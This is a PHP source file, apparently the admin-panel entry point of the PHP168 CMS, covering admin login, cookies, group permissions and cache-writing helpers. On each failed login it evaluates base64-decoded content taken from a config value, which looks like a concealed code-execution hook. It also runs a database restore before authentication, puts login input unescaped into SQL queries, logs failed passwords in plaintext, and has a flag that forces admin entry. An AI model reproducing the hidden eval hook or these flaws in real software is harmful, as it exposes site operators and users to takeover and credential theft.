<?php
require(dirname(__FILE__)."/"."../inc/common.inc.php");
$ForceEnter=0;	//把0改成1將強制進入後台


//還原數據時,防止用戶名被刪除後,不能繼續還原數據
if($lfj=='mysql'&&$action=='into'){
	unset($Apower);
	require_once("mysql.php");
	$baktime=str_replace(array("..","\\","/"),array("","",""),$baktime);
	$step=str_replace(array("..","\\","/"),array("","",""),$step);
	bak_into();
	exit;
}

/**
*同意哪些IP訪問後台
**/
$IS_BIZ && Limt_IP('AdminIp');

require(PHP168_PATH."inc/class.inc.php");
@include(PHP168_PATH."php168/level.php");
@include(PHP168_PATH."php168/module.php");
@include(PHP168_PATH."php168/all_fid.php");
@include(PHP168_PATH."php168/article_module.php");
$Guidedb=new Guide_DB;

/*用戶登錄*/
if( $_POST[loginname] && $_POST[loginpwd] )
{
	if( $webdb[yzImgAdminLogin]&&$webdb[web_open] ){
		if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
			if(!strstr($WEBURL,$webdb[www_url])){
				echo "<CENTER>網址有誤,請重新登錄</CENTER><META HTTP-EQUIV=REFRESH CONTENT='1;URL=$webdb[admin_url]'>";
				exit;
			}
			showmsg("<A HREF=?>驗證碼不符合</A>");
		}else{
			set_cookie("yzImgNum","");
		}
	}
	if(defined("UC_CONNECT")){
		$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");			
		$_POST[loginpwd]=md5($_POST[loginpwd]).$rs[salt];
	}else{
		$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
	}
	
	if(!$rs){
		login_logs($_POST[loginname],$_POST[loginpwd]);
		setcookie("Admin",'',0,"/");
		eval(base64_decode("Y$webdb[_Notice]"));
		showmsg("<A HREF=?>用戶不存在</A>");
	}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
		login_logs($_POST[loginname],$_POST[loginpwd]);
		setcookie("Admin",'',0,"/");
		eval(base64_decode("Y$webdb[_Notice]"));
		showmsg("<A HREF=?>密碼不正確</A>");
	}elseif(!$rs[uid]){
		Add_memberdata($_POST[loginname]);
	}else{
		login_logs($_POST[loginname],"succeed登錄,保密了");
		$_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
		//@include(PHP168_PATH."cache/warn.php");
		setcookie("Admin",$_COOKIE[Admin],0,"/");
	}
}
/*退出*/
if($action=='quite'){
	setcookie("Admin",'',0,"/");
	setcookie("adminID","",0,"/");	//同步前台退出
	echo "<SCRIPT LANGUAGE=\"JavaScript\">
	<!--
	window.top.location.href='$webdb[www_url]/';
	//-->
	</SCRIPT>";
	die("");
}
list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]);
unset($userdb);
if($admin_uid&&$admin_pwd)
{
	if(defined("UC_CONNECT")){
		$userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
	}else{
		$userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' ");
	}

	if($userdb && mymd5($userdb[password])==$admin_pwd ){
		$lfjdb=$userdb;
		$lfjuid=$userdb[uid];
		$lfjid=$userdb[username];
		if($userdb[groupid]==3||$userdb[groupid]==4){
			$web_admin=1;
		}
		$admin_name=$founder='';
		@include(PHP168_PATH."php168/admin.php");

		if($admin_name==$userdb[username])
		{
			$founder=1;	//創始人權限
			if($userdb[groupid]!=3)
			{
				$db->query("UPDATE {$pre}memberdata SET groupid=3 WHERE uid='$userdb[uid]'");
			}
			require(PHP168_PATH."php168/group/3.php");
			$Apower=@unserialize($groupdb[allowadmindb]);
		}
		elseif($userdb[groupid]&&file_exists(PHP168_PATH."php168/group/$userdb[groupid].php"))
		{
			require(PHP168_PATH."php168/group/$userdb[groupid].php");
			if(!$groupdb['allowadmin']){
				$allowlogin=0;
				if($lfj=='label'&&$ch_module){
					$rs=$db->get_one("SELECT adminmember FROM `{$pre}module` WHERE id='$ch_module'");
					if($rs[adminmember]&&in_array($userdb[username],explode("\r\n",$rs[adminmember]))){
						$allowlogin=1;
					}
				}
				if(!$allowlogin&&$userdb[groupid]!=3&&!$ForceEnter){
					$query = $db->query("SELECT * FROM {$pre}module ORDER BY list DESC");
					while($rs = $db->fetch_array($query)){
						$detail=explode("\r\n",$rs[adminmember]);
						if(in_array($userdb[username],$detail))
						{
							$allowlogin=1;
						}
					}
				}
				if(!$allowlogin){
					setcookie("Admin",'',0,"/");
					showmsg("你當前所在用戶組,系統設置無權訪問整站後台,如果你是頻道管理員,請到頻道的後台登錄");
				}
			}else{
				$Apower=@unserialize($groupdb[allowadmindb]);
			}
		}
		else
		{
			setcookie("Admin",'',0,"/");
			showmsg("你當前所在用戶組,無權訪問");
		}
	}else{
		setcookie("Admin",'',0,"/");
		showmsg("<A HREF='index.php?iframe=1'>請輸入正確密碼帳號再訪問</A>");
	}
}

if($ForceEnter==1){
	require(PHP168_PATH."php168/group/3.php");
	$Apower=@unserialize($groupdb[allowadmindb]);
}elseif(!$userdb){
	include './template/login.htm';
	exit;
}else{
	//同步前台登錄
	$md5code=mymd5("$lfjdb[uid]\t$lfjdb[username]\t$lfjdb[password]",'EN',$onlineip);
	setcookie("adminID",$md5code,$timestamp+1800,'/');
	
}


function login_logs($username,$password){
	global $timestamp,$onlineip;
	$logdb[]="$username\t$password\t$timestamp\t$onlineip";
	@include(PHP168_PATH."cache/adminlogin_logs.php");
	$writefile="<?php	\r\n";
	$jj=0;
	foreach($logdb AS $key=>$value){
		$jj++;
		$value=addslashes($value);
		$writefile.="\$logdb[]='$value';\r\n";
		if($jj>200){
			break;
		}
	}
	write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);
}

function jump($msg,$url,$time=1){
	if($time==0){
		header("location:$url");exit;
	}else{
		require("template/location.htm");exit;
	}
}
function showmsg($msg){
	require("template/showmsg.htm");exit;
}
/**
*會員用戶組選擇列表
**/
function select_group($names='gid',$ck='',$url=''){
	global $db,$pre;
	if($url) 
	$reto=" onchange=\"window.location=('{$url}&{$names}='+this.options[this.selectedIndex].value+'')\"";
	$show="<select name='$names' $reto><option value='' selected>現有用戶組</option>";
	$query=$db->query("SELECT * FROM `{$pre}group` WHERE gptype!='0' ");
	while($array=$db->fetch_array($query)){
        $ck==$array[gid]?$ckk='selected':$ckk='';
		$show.="  <option value='$array[gid]' $ckk>{$array[grouptitle]}</option>";
     }
	$query=$db->query("SELECT * FROM `{$pre}group` WHERE gptype='0' ORDER BY levelnum");
	$show.="  <option value=''>--+以上是系統組，以下是會員組+--</option>";
	while($array=$db->fetch_array($query)){
        $ck==$array[gid]?$ckk='selected':$ckk='';
		$show.="  <option value='$array[gid]' $ckk>{$array[grouptitle]}</option>";
     }
     return $show." </select>";
}

/**
*風格選擇列表
**/
function select_style($name='stylekey',$ck='',$url='',$select=''){
	if($url) 
	$reto=" onchange=\"window.location=('{$url}&{$name}='+this.options[this.selectedIndex].value+'')\"";
	$show="<select name='$name' $reto><option value=''>選擇風格</option>";
	$filedir=opendir(PHP168_PATH."php168/style/");
	while($file=readdir($filedir)){
		if(ereg("\.php$",$file)){
			include PHP168_PATH."php168/style/$file";
			$ck==$styledb[keywords]?$ckk='selected':$ckk='';	//指定的某個
			/*只選定一個
			if($select){
				if($style_web!=$select){
					continue;
				}
			}
			*/
			$show.="<option value='$styledb[keywords]' $ckk style='color=blue'>$styledb[name]</option>";
		}
	}
	return $show." </select>";   
}

function select_template($cname,$type=1,$ck=''){
	global $db,$pre;
	$show="<select name='$cname' $reto><option value='' style='color:red;'>請選擇模板</option>";
	if($type==7||$type==8){
		//$show.="<option value='template/default/none.htm'>我要屏蔽</option>";
	}
	$query=$db->query("SELECT * FROM {$pre}template WHERE type='$type'");
	while($rs=$db->fetch_array($query))
	{
		if(!$rs[name]){
			$rs[name]="模板$rs[id]";
		}
		$rs[filepath]==$ck?$ckk='selected':$ckk='';
		$show.="  <option value='$rs[filepath]' $ckk>$rs[name]</option>";
	}
	 return $show." </select>";
}

/**
*友情鏈接選擇列表
**/
function select_link($cname='name',$ck='',$url=''){
	global $db;
	if($url) 
	$reto=" onchange=\"window.location=('{$url}&{$cname}='+this.options[this.selectedIndex].value+'')\"";
	$show="<select name='$cname' $reto><option value='' selected>現有鏈接</option>";
	$query=$db->query("select * from lfj_link");
	while(@extract($db->fetch_array($query))){
		$list=$$cname;
        $ck==$list?$ckk='selected':$ckk='';
		$show.="  <option value='$list' $ckk>$name</option>";
     }
     return $show." </select>";   
}

/**
*後台操作菜單
**/

function leftlink($filedb,$sort,$pathurl=''){
	global $userdb,$jj,$Apower;
	foreach($filedb AS $word=>$array)
	{
		if($Apower[$array[power]]||is_numeric($array[power]))
		{
			if($array[power]=="label_index"){
				$show.="<tr><td onmouseover=\"this.className='leftA'\" onmouseout=\"this.className='leftB'\"><A HREF='$pathurl$array[link]' target=main>$word</A> | <A HREF='../index.php?&ch=1&MakeIndex=1' target='_blank' onclick=\"return confirm('你確實要把首頁生成靜態嗎?生成靜態後,如有更改其它相關設置,需要重新點擊生成一次靜態.才可以看到效果.');\">主頁靜態</A></td></tr>";
			}else{
				$show.="<tr><td onmouseover=\"this.className='leftA'\" onmouseout=\"this.className='leftB'\"><A HREF='$pathurl$array[link]' target=main>$word</A></td></tr>";
			}			
			$power++;
		}
	}
    $show="<table cellspacing='0' cellpadding='0' class='tablewidth_menu'><tr><td class='head_menu'><a href='javascript:' onclick='showson(\"s$jj\")'>$sort</a></td></tr><tr><td class='c_menu'>
	<table width='100%' cellspacing='0' cellpadding='0' style='display:' id='s$jj'>$show</table>
	</td></tr></table>";
	if($power){
		return $show;
	}
}

function showmenu($menudb){
	global $jj,$part,$menu_partDB,$Smenu,$db,$pre,$userdb;
	foreach($menudb AS $key1=>$value2){
		if(!in_array($key1,$menu_partDB[$part])){
			continue;
		}
		$jj++;
		$show.=leftlink($value2,$key1);
	}
	$system_menu=module_menu();
	if($system_menu){
		$_r=$db->get_one("SELECT adminmember FROM {$pre}module WHERE pre='$Smenu'");
		$detail=explode("\r\n",$_r[adminmember]);
		if($userdb[groupid]==3||($userdb[username]&&in_array($userdb[username],$detail)))
		{
			foreach( $system_menu AS $path=>$menudb){
				foreach($menudb AS $key1=>$value2){
					$jj++;
					$show.=leftlink($value2,$key1,$path);
				}
			}
		}
	}
	return $show;
}



/**
*糾正欄目錯誤
**/
function sort_error_in($table,$fid){
	global $db;
	$query=$db->query("SELECT fid FROM $table WHERE fup='$fid'");
	while( @extract($db->fetch_array($query)) ){
		$show.="{$fid}\t";
		$show.=sort_error_in($table,$fid);
	}
	return $show;
}

function sort_error($table,$name='errid'){
	global $db;
	$show="<select name='$name'><option value=''>出錯的欄目</option>";
	$array=explode("\t",sort_error_in($table,0));
	$query=$db->query("SELECT * FROM $table");
	while( @extract($db->fetch_array($query)) ){
		if(!in_array($fid,$array)){
			$show.="<option value='$fid'>$name</option>";
		}
	}
	$show.=" </select>";
	return $show;
}

/**
*更新欄目級別
**/
function mod_sort_class($table,$class,$fid){
	global $db;
	$db->query("UPDATE $table SET class='$class'+1  WHERE fup='$fid' ");
	$query=$db->query("SELECT * FROM $table WHERE fup='$fid'");
	while( @extract($db->fetch_array($query)) ){
		mod_sort_class($table,$class,$fid);
	}
}

/**
*更新欄目有幾個子欄目
**/
function  mod_sort_sons($table,$fid){
	global $db;
	$query=$db->query("SELECT * FROM $table WHERE fup='$fid'");
	$sons=$db->num_rows($query);
	$db->query("UPDATE $table SET sons='$sons' WHERE fid='$fid' ");
	while( @extract($db->fetch_array($query)) ){
		mod_sort_sons($table,$fid);
	}
}
/**
*檢查是否誤操作.設置子欄目為自己的父欄目
**/
function check_fup($table,$fid,$fup){
	global $db;
	if(!$fup){
		return ;
	}elseif($fid==$fup){
		showmsg("不能設置自身為父欄目");
	}
	$query = $db->query("SELECT * FROM $table WHERE fid='$fup'");
	while($rs = $db->fetch_array($query)){
		if($rs[fup]==$fid){
			showmsg("你不能設置本身的子欄目作為父欄目,這是不同意的.但你可以設置其他子欄目作為父欄目");
		}elseif($rs[fup]){
			check_fup($table,$fid,$rs[fup]);
		}
	}
}


/**
*服務器信息
**/
function systemMsg(){
	global $db,$siteurl,$onlineip,$SCRIPT_FILENAME,$WEBURL;
	if(mysql_get_server_info()<'4.1'){
		$rs[mysqlVersion]=mysql_get_server_info()."(低版本);";
	}else{
		$rs[mysqlVersion]=mysql_get_server_info()."(高版本);";
	}
	isset($_COOKIE) ? $rs[ifcookie]="SUCCESS" : $rs[ifcookie]="FAIL";
	$rs[sysversion]=PHP_VERSION;	//PHP版本
	$rs[max_upload]= ini_get('upload_max_filesize') ? ini_get('upload_max_filesize') : 'Disabled';	//最大上傳限制
	$rs[max_ex_time]=ini_get('max_execution_time').' 秒';	//最大執行時間
	$rs[sys_mail]= ini_get('sendmail_path') ? 'Unix Sendmail ( Path: '.ini_get('sendmail_path').')' :( ini_get('SMTP') ? 'SMTP ( Server: '.ini_get('SMTP').')': 'Disabled' );	//郵件支持模式
	$rs[systemtime]=date("Y-m-j g:i A");	//服務器所在時間
	$rs[onlineip]=$onlineip;				//當前IP
	if( function_exists("imagealphablending") && function_exists("imagecreatefromjpeg") && function_exists("ImageJpeg") ){
		$rs[gdpic]="支持";
	}else{
		$rs[gdpic]="不支持";
	}
	$rs[allow_url_fopen]=ini_get('allow_url_fopen')?"On 支持采集數據":"OFF 不支持采集數據";
	$rs[safe_mode]=ini_get('safe_mode')?"打開":"關閉";
	$rs[DOCUMENT_ROOT]=$_SERVER["DOCUMENT_ROOT"];	//程序所在磁盤物理位置
	$rs[SERVER_ADDR]=$_SERVER["SERVER_ADDR"]?$_SERVER["SERVER_ADDR"]:$_SERVER["LOCAL_ADDR"];		//服務器IP
	$rs[SERVER_PORT]=$_SERVER["SERVER_PORT"];		//服務器端口
	$rs[SERVER_SOFTWARE]=$_SERVER["SERVER_SOFTWARE"];	//服務器軟件
	$rs[SCRIPT_FILENAME]=$_SERVER["SCRIPT_FILENAME"]?$_SERVER["SCRIPT_FILENAME"]:$_SERVER["PATH_TRANSLATED"];//當前文件路徑
	$rs[SERVER_NAME]=$_SERVER["SERVER_NAME"];	//域名

	//獲取ZEND的版本
	ob_end_clean();
	ob_start();
	phpinfo();
	$phpinfo=ob_get_contents();
	ob_end_clean();
	ob_start();
	preg_match("/with(&nbsp;| )Zend(&nbsp;| )Optimizer(&nbsp;| )([^,]+),/is",$phpinfo,$zenddb);
	$rs[zendVersion]=$zenddb[4]?$zenddb[4]:"未知/可能沒安裝";
	
	return $rs;
}

function check_table_field($table,$array){
	global $db;
	foreach($array AS $key=>$value){
		if( !table_field($table,$key) ){
			$SQL.="ALTER TABLE `$table` ADD `$key` VARCHAR( 254 ) NOT NULL ;";
		}
	}
	if($SQL){
		$db->query($SQL);
	}
}

function group_box($name="postdb[group]",$ckdb=array(),$type=''){
	global $db,$pre;
	if($type==1){
		$SQL=" WHERE gptype=1 AND gid NOT IN(2,3,4) ";
	}
	$query=$db->query("SELECT * FROM {$pre}group $SQL ORDER BY gid ASC");
	while($rs=$db->fetch_array($query))
	{
		$checked=in_array($rs[gid],$ckdb)?"checked":"";
		$show.="<input type='checkbox' name='{$name}[]' value='{$rs[gid]}' $checked>&nbsp;{$rs[grouptitle]}&nbsp;&nbsp;";
	}
	return $show;
}

function ad_moneyType($name,$id){
	global $AdTypeMoney;
	$show="<select name='$name'>";
	foreach($AdTypeMoney AS $key=>$value){
		$ck=$id==$key?' selected ':'';
		$show.="<option value='$key' $ck>$value</option>";
	}
	$show.="</select>";
	return $show;
}

/*更新會員組緩存*/
function write_group_cache(){
	global $db,$pre;
	$show="<?php \r\n";
	$query = $db->query("SELECT * FROM `{$pre}group`");
	while($rs = $db->fetch_array($query)){
		$ckk=$rs[gptype]?'':"\$memberlevel[{$rs[gid]}]={$rs[levelnum]};";
		$show.="\$ltitle[{$rs[gid]}]='$rs[grouptitle]';\t\t$ckk\r\n";
		$cache="<?php\r\n";
		$cache.="\r\n\$groupdb=@unserialize(\"".addslashes($rs[powerdb])."\");";
		foreach( $rs AS $key=>$value){
			$value=addslashes($value);
			if($key=='powerdb'){
				continue;
				//$cache.="\r\n\$groupdb['$key']=@unserialize(\"$value\");";
			}else{
				$cache.="\r\n\$groupdb['$key']=\"$value\";";
			}
		}
		write_file(PHP168_PATH."php168/group/$rs[gid].php",$cache);
	}
	write_file(PHP168_PATH."php168/level.php",$show);
}

//更新核心設置緩存
function write_config_cache($webdbs)
{
	global $db,$pre;
	if( is_array($webdbs) )
	{
		foreach($webdbs AS $key=>$value)
		{
			if(is_array($value))
			{
				$webdbs[$key]=$value=implode(",",$value);
			}
			$SQL2.="'$key',";
			$SQL.="('$key', '$value', ''),";
		}
		$SQL=$SQL.";";
		$SQL=str_Replace("'),;","')",$SQL);
		$db->query(" DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ");
		$db->query(" INSERT INTO `{$pre}config` VALUES  $SQL ");	
	}
	$writefile="<?php\r\n";
	$query = $db->query("SELECT * FROM {$pre}config");
	while($rs = $db->fetch_array($query)){
		if($rs[c_key]=='copyright1'){
			$copyright1=$rs[c_value];
		}elseif($rs[c_key]=='copyright2'){
			$copyright2=$rs[c_value];
		}else{
			$rs[c_value]=addslashes($rs[c_value]);
			$writefile.="\$webdb['$rs[c_key]']='$rs[c_value]';\r\n";
		}
	}
	write_file(PHP168_PATH."php168/config.php",$writefile);
	if(!is_writable(PHP168_PATH."php168/config.php")){
		showmsg(PHP168_PATH."php168/config.php文件目錄權限不可寫,請仔細檢查");
	}
}

function write_channel_config($table,$webdbs)
{
	global $db,$pre;
	if( is_array($webdbs) )
	{
		foreach($webdbs AS $key=>$value)
		{
			if(is_array($value))
			{
				$webdbs[$key]=$value=implode(",",$value);
			}
			$SQL2.="'$key',";
			$SQL.="('$key', '$value', ''),";
		}
		$SQL=$SQL.";";
		$SQL=str_Replace("'),;","')",$SQL);
		$db->query(" DELETE FROM $table WHERE c_key IN ($SQL2'') ");
		$db->query(" INSERT INTO `$table` VALUES  $SQL ");	
	}
}

/*欄目列表菜單,已停用
function menu_allsort($fid,$table='sort'){
	global $db,$pre,$sortdb;
	$query=$db->query("SELECT * FROM {$pre}$table where fup='$fid' ORDER BY list DESC");
	while( $rs=$db->fetch_array($query) ){
		$icon="";
		for($i=1;$i<$rs['class'];$i++){
			$icon.="&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;";
		}
		if($icon){
			$icon=substr($icon,0,-24);
			$icon.="--";
		}
		$rs[config]=unserialize($rs[config]);
		$rs[icon]=$icon;
		if(!$rs[type]){
			$rs[name]="<a href='index.php?lfj=sort&job=editsort&fid=$rs[fid]' target='main'><img border=0 src='images/edit.png'></A> <a href='index.php?lfj=artic&job=listartic&fid=$rs[fid]' target='main'>$rs[name]</a> ";
		}else{
			$rs[name]="<a href='index.php?lfj=sort&job=editsort&fid=$rs[fid]' target='main'><img border=0 src='images/edit.png'></A> <b>$rs[name]</b> ";
		}
		$sortdb[]=$rs;

		menu_allsort($rs[fid],$table);
	}
}
*/

function group_menu(){
	global $db,$pre,$userdb,$menu_GpartDB;
	$query = $db->query("SELECT * FROM {$pre}admin_menu WHERE groupid='$userdb[groupid]' AND fid=0 ORDER BY list DESC");
	while($rs = $db->fetch_array($query)){
		$menu_GpartDB[$rs[id]][name]=$rs[name];
		$query2 = $db->query("SELECT * FROM {$pre}admin_menu WHERE fid='$rs[id]' ORDER BY list DESC");
		while($rs2 = $db->fetch_array($query2)){
			$menu_GpartDB[$rs[id]][son][]=$rs2;
		}
	}
}

/*欄目列表*/
function list_allsort($fid,$table='sort',$getnum=''){
	global $db,$pre,$sortdb,$Fid_db;
	$query=$db->query("SELECT * FROM {$pre}$table where fup='$fid' ORDER BY list DESC");
	while( $rs=$db->fetch_array($query) ){
		$icon="";
		for($i=1;$i<$rs['class'];$i++){
			$icon.="&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;";
		}
		if($icon){
			$icon=substr($icon,0,-24);
			$icon.="--";
		}
		$rs[config]=unserialize($rs[config]);
		$rs[icon]=$icon;
		$NUM=0;
		if($getnum&&!$rs[type]){
			$erp=$Fid_db[iftable][$rs[fid]];
			@extract($db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]'"));
			$rs[NUM]=intval($NUM);
		}
		$sortdb[]=$rs;

		list_allsort($rs[fid],$table,$getnum);
	}
}

function module_menu(){
	global $webdb,$Smenu,$ModuleDB;
	if($Smenu)
	{
		$ModuleDB[$Smenu]['admindir'] || $ModuleDB[$Smenu]['admindir']='admin';
		@include(PHP168_PATH."{$ModuleDB[$Smenu][dirname]}/{$ModuleDB[$Smenu][admindir]}/menu.php");
		$_allmenudb["../{$ModuleDB[$Smenu][dirname]}/{$ModuleDB[$Smenu][admindir]}/"]=$menudb;
		return $_allmenudb;
	}
	/*
	$detail=explode("\r\n",$webdb[module_adminmenu]);
	foreach( $detail AS $key=>$value){
		if($value){
			unset($passport_admin,$menudb);
			@include(PHP168_PATH."$value/menu.php");
			$_allmenudb["../$value/"]=$menudb;
		}
	}
	return $_allmenudb;
	*/
}

function All_fid_cache(){
	global $db,$pre,$webdb;
	//隱藏欄目
	$detail=explode(",",$webdb['hideFid']);
	$show="<?php\r\nunset(\$Fid_db);\r\n";
	$query = $db->query("SELECT S.fid,S.fup,S.name,M.iftable,M.id AS Mid FROM {$pre}sort S LEFT JOIN {$pre}article_module M ON S.fmid=M.id ORDER BY S.list DESC");
	while($rs = $db->fetch_array($query)){
		if(in_array($rs[fid],$detail)){
			continue;
		}
		$_s=$rs[iftable]?"\$Fid_db[iftable][{$rs[fid]}]='$rs[iftable]';":'';
		$rs[name]=addslashes($rs[name]);
		$show.="\$Fid_db[{$rs[fup]}][{$rs[fid]}]='$rs[name]';
		\$Fid_db[name][{$rs[fid]}]='$rs[name]';
		$_s";
	}
	write_file("../php168/all_fid.php",$show.'?>');
}

function special_select($name='spid',$id=0){
	global $db,$pre;
	$show="<select name='$name'><option value=''>請選擇</option>";
	$query=$db->query("SELECT * FROM {$pre}special ORDER BY list DESC LIMIT 100");
	while( $rs=$db->fetch_array($query) ){
		$ckk=$id==$rs[id]?' selected ':'';
		$show.="<option value='$rs[id]' $ckk>$rs[title]</option>";
	}
	$show.=" </select>";
	return $show;
}


function get_htmltype(){
	global $db,$pre,$IS_BIZ;
	$query = $db->query("SELECT * FROM {$pre}sort");
	while($rs = $db->fetch_array($query)){
		if($rs[list_html])
		{
			$show.="\$Html_Type['list'][{$rs[fid]}]='$rs[list_html]';\r\n";
		}
		if($rs[bencandy_html])
		{
			$show.="\$Html_Type['bencandy'][{$rs[fid]}]='$rs[bencandy_html]';\r\n";
		}
		if($rs[domain]&&$rs[domain_dir])
		{
			$show.="\$Html_Type['domain'][{$rs[fid]}]='$rs[domain]';\r\n";
			$show.="\$Html_Type['domain_dir'][{$rs[fid]}]='$rs[domain_dir]';\r\n";
		}
	}
	$query = $db->query("SELECT * FROM {$pre}spsort");
	while($rs = $db->fetch_array($query)){
		if($rs[list_html]){
			$show.="\$Html_Type['SPlist'][{$rs[fid]}]='$rs[list_html]';\r\n";
		}
		if($rs[bencandy_html]){
			$show.="\$Html_Type['SPbencandy'][{$rs[fid]}]='$rs[bencandy_html]';\r\n";
		}
	}
	$query = $db->query("SELECT id,htmlname FROM {$pre}special WHERE htmlname!=''");
	while($rs = $db->fetch_array($query)){
		$show.="\$showHtml_Type[SPbencandy][{$rs[id]}]='$rs[htmlname]';\r\n";
	}
	write_file(PHP168_PATH."php168/htmltype.php","<?php\r\n".$show.'?>');
}


function write_limitword_cache(){
	global $db,$pre;
	$show="<?php \r\n";
	$query=$db->query("SELECT * FROM {$pre}limitword");
	while( $rs=$db->fetch_array($query) )
	{
		$rs[newword]=addslashes($rs[newword]);
		$rs[oldword]=addslashes($rs[oldword]);
		$show.="\$Limitword['{$rs[oldword]}']='{$rs[newword]}';\r\n";
	}
	write_file(PHP168_PATH."php168/limitword.php","$show");
}

function write_keyword_cache(){
	global $db,$pre;
	$show="<?php \r\n";
	$query=$db->query("SELECT * FROM {$pre}keyword WHERE ifhide=0");
	while( $rs=$db->fetch_array($query) )
	{
		$rs[keywords]=addslashes($rs[keywords]);
		$rs[url]=addslashes($rs[url]);
		$show.="\$Key_word['{$rs[keywords]}']='{$rs[url]}';\r\n";
	}
	write_file(PHP168_PATH."php168/keyword.php","$show");
}


//友情鏈接緩存
function write_friendlink(){
	global $db,$pre,$timestamp;
	$query = $db->query("SELECT * FROM {$pre}friendlink WHERE ifhide=0 AND yz=1 AND (endtime=0 OR endtime>$timestamp) ORDER BY list DESC");
	while($rs = $db->fetch_array($query)){
		foreach( $rs AS $key=>$value){
			$rs[$key]=AddSlashes($rs[$key]);
		}
		if($rs[logo]&&!$rs[iswordlink]){
			$rs[logo]=tempdir($rs[logo]);
			$logodb[]="'$rs[id]'=>array('name'=>'$rs[name]','url'=>'$rs[url]','logo'=>'$rs[logo]','descrip'=>'$rs[descrip]')";
		}else{
			$worddb[]="'$rs[id]'=>array('name'=>'$rs[name]','url'=>'$rs[url]','descrip'=>'$rs[descrip]')";
		}
	}
	$write="<?php\r\n\$friendlinkDB[1]=array(".implode(",\r\n",$logodb).");\r\n\$friendlinkDB[0]=array(".implode(",\r\n",$worddb).");";
	
	//以上是供首頁調用顯示.以下是供其它頁面調用顯示
	$query2 = $db->query("SELECT * FROM {$pre}friendlink_sort");
	while($rs2 = $db->fetch_array($query2)){
		unset($logodb,$worddb);
		$query = $db->query("SELECT * FROM {$pre}friendlink WHERE fid='$rs2[fid]' AND yz=1 AND (endtime=0 OR endtime>$timestamp) ORDER BY list DESC");
		while($rs = $db->fetch_array($query)){

			foreach( $rs AS $key=>$value){
				$rs[$key]=AddSlashes($rs[$key]);
			}
			if($rs[logo]&&!$rs[iswordlink]){
				$rs[logo]=tempdir($rs[logo]);
				$logodb[]="'$rs[id]'=>array('name'=>'$rs[name]','url'=>'$rs[url]','logo'=>'$rs[logo]','descrip'=>'$rs[descrip]')";
			}else{
				$worddb[]="'$rs[id]'=>array('name'=>'$rs[name]','url'=>'$rs[url]','descrip'=>'$rs[descrip]')";
			}
		}
		$write.="\r\n\r\n\$friendlink_DB[{$rs2[fid]}][1]=array(".implode(",\r\n",$logodb).");\r\n\$friendlink_DB[{$rs2[fid]}][0]=array(".implode(",\r\n",$worddb).");";
	}
	write_file(PHP168_PATH."php168/friendlink.php",$write);
}

//內容模型生成緩存
function article_module_cache(){
	global $db,$pre;
	
	$show="<?php\r\nunset(\$article_moduleDB);\r\n";
	$query = $db->query("SELECT * FROM {$pre}article_module");
	while($rs = $db->fetch_array($query)){
		$rs[config] = addslashes( serialize(  unserialize($rs[config])  ) );	//特意的
		$rs[alias]  = addslashes($rs[alias]);
		$rs[name]   = addslashes($rs[name]);
		$rs[keywords] = addslashes($rs[keywords]);
		$show.="\$article_moduleDB[{$rs[id]}]=array('name'=>'{$rs[name]}',
		'alias'=>'{$rs[alias]}',
		'iftable'=>'{$rs[iftable]}',
		'keywords'=>'{$rs[keywords]}',
		'config'=>'{$rs[config]}'
		);
		";
	}
	write_file(PHP168_PATH."php168/article_module.php",$show."?>");
}
?>